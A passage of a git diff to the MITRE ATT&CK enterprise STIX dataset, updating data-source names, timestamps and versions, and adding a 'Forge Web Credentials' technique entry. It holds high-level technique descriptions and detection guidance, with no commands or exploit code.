network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)", - "x_mitre_data_sources": [ - "Network protocol analysis", - "Process monitoring", - "Process use of network", - "Netflow/Enclave netflow", - "Packet capture" - ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ] + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)", + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" }, { "created": "2017-05-31T21:31:04.710Z", @@ -13336,9 +14267,9 @@ "x_mitre_is_subtechnique": false, "x_mitre_version": "1.3", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_platforms": [ @@ -13359,7 +14290,7 @@ "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "File and Directory Permissions Modification", - "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "external_references": [ { "source_name": "mitre-attack", @@ -13411,10 +14342,10 @@ "File system access controls" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Windows event logs" + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification", + "File: File Metadata" ], "x_mitre_contributors": [ "CrowdStrike Falcon OverWatch", @@ -13440,7 +14371,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Firmware", - "description": "Before compromising a victim, adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d", "type": "attack-pattern", "kill_chain_phases": [ @@ -13449,7 +14380,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T03:52:36.854Z", + "modified": "2021-04-15T03:22:46.759Z", "created": "2020-10-02T16:46:42.537Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -13509,8 +14440,7 @@ "x_mitre_version": "1.0", "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.", "x_mitre_data_sources": [ - "BIOS", - "Component firmware" + "Firmware: Firmware Modification" ] }, { @@ -13578,10 +14508,11 @@ "Sudhanshu Chauhan, @Sudhanshu_C" ], "x_mitre_data_sources": [ - "File monitoring", - "Network protocol analysis", - "Network device logs", - "Process use of network" + "File: File Access", + "File: File Creation", + "File: File Modification", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)", "x_mitre_permissions_required": [ @@ -13592,6 +14523,68 @@ ], "x_mitre_is_subtechnique": false }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1606", + "url": "https://attack.mitre.org/techniques/T1606" + }, + { + "source_name": "GitHub AWS-ADFS-Credential-Generator", + "url": "https://github.com/damianh/aws-adfs-credential-generator", + "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020." + }, + { + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html", + "source_name": "Pass The Cookie" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Forge Web Credentials", + "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)", + "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-04-14T14:29:27.631Z", + "created": "2020-12-17T02:13:46.247Z", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Creation", + "Web Credential: Web Credential Usage" + ], + "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": false, + "x_mitre_platforms": [ + "SaaS", + "Windows", + "macOS", + "Linux", + "Azure AD", + "Office 365", + "Google Workspace" + ] + }, { "external_references": [ { @@ -13649,10 +14642,7 @@ "Matthew Molyett, @s1air, Cisco Talos" ], "x_mitre_data_sources": [ - "PowerShell logs", - "User interface", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation" ], "x_mitre_permissions_required": [ "User" @@ -13748,8 +14738,10 @@ "macOS" ], "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters" + "File: File Metadata", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", "x_mitre_permissions_required": [ @@ -13781,7 +14773,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Gather Victim Host Information", - "description": "Before compromising a victim, adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "type": "attack-pattern", "kill_chain_phases": [ @@ -13790,7 +14782,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T03:53:39.351Z", + "modified": "2021-04-15T03:23:58.024Z", "created": "2020-10-02T16:39:33.966Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -13800,6 +14792,22 @@ ] }, { + "created": "2020-10-02T14:54:59.263Z", + "modified": "2021-04-15T03:27:49.579Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", + "name": "Gather Victim Identity Information", + "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -13847,30 +14855,30 @@ "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "PRE" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "Before compromising a victim, adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", - "name": "Gather Victim Identity Information", - "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", - "type": "attack-pattern", + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.0", + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access." + }, + { + "created": "2020-10-02T15:45:17.628Z", + "modified": "2021-04-15T03:34:23.229Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "reconnaissance" } ], - "modified": "2020-10-27T02:27:31.387Z", - "created": "2020-10-02T14:54:59.263Z", - "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": false, - "x_mitre_platforms": [ - "PRE" - ] - }, - { + "type": "attack-pattern", + "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", + "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "name": "Gather Victim Network Information", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -13893,28 +14901,12 @@ "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Gather Victim Network Information", - "description": "Before compromising a victim, adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", - "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "reconnaissance" - } - ], - "modified": "2020-10-25T22:58:23.086Z", - "created": "2020-10-02T15:45:17.628Z", - "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" - ] + ], + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.0", + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access." }, { "external_references": [ @@ -13939,7 +14931,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Gather Victim Org Information", - "description": "Before compromising a victim, adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", "type": "attack-pattern", "kill_chain_phases": [ @@ -13948,7 +14940,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:10:36.479Z", + "modified": "2021-04-15T03:39:09.021Z", "created": "2020-10-02T16:27:02.339Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -14009,17 +15001,20 @@ "phase_name": "credential-access" } ], - "modified": "2020-03-31T12:59:10.840Z", + "modified": "2020-11-05T16:07:03.779Z", "created": "2020-02-11T19:13:33.643Z", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom" + ], "x_mitre_data_sources": [ - "Authentication logs", - "Windows event logs" + "Active Directory: Active Directory Credential Request", + "Logon Session: Logon Session Metadata" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" @@ -14057,12 +15052,6 @@ "x_mitre_deprecated": true, "x_mitre_is_subtechnique": false, "x_mitre_version": "2.0", - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Binary file metadata" - ], "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.", "x_mitre_platforms": [ "Linux", @@ -14080,8 +15069,8 @@ "external_references": [ { "source_name": "mitre-attack", - "external_id": "T1484", - "url": "https://attack.mitre.org/techniques/T1484" + "external_id": "T1484.001", + "url": "https://attack.mitre.org/techniques/T1484/001" }, { "source_name": "TechNet Group Policy Basics", @@ -14124,8 +15113,8 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Group Policy Modification", - "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\n", - "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such 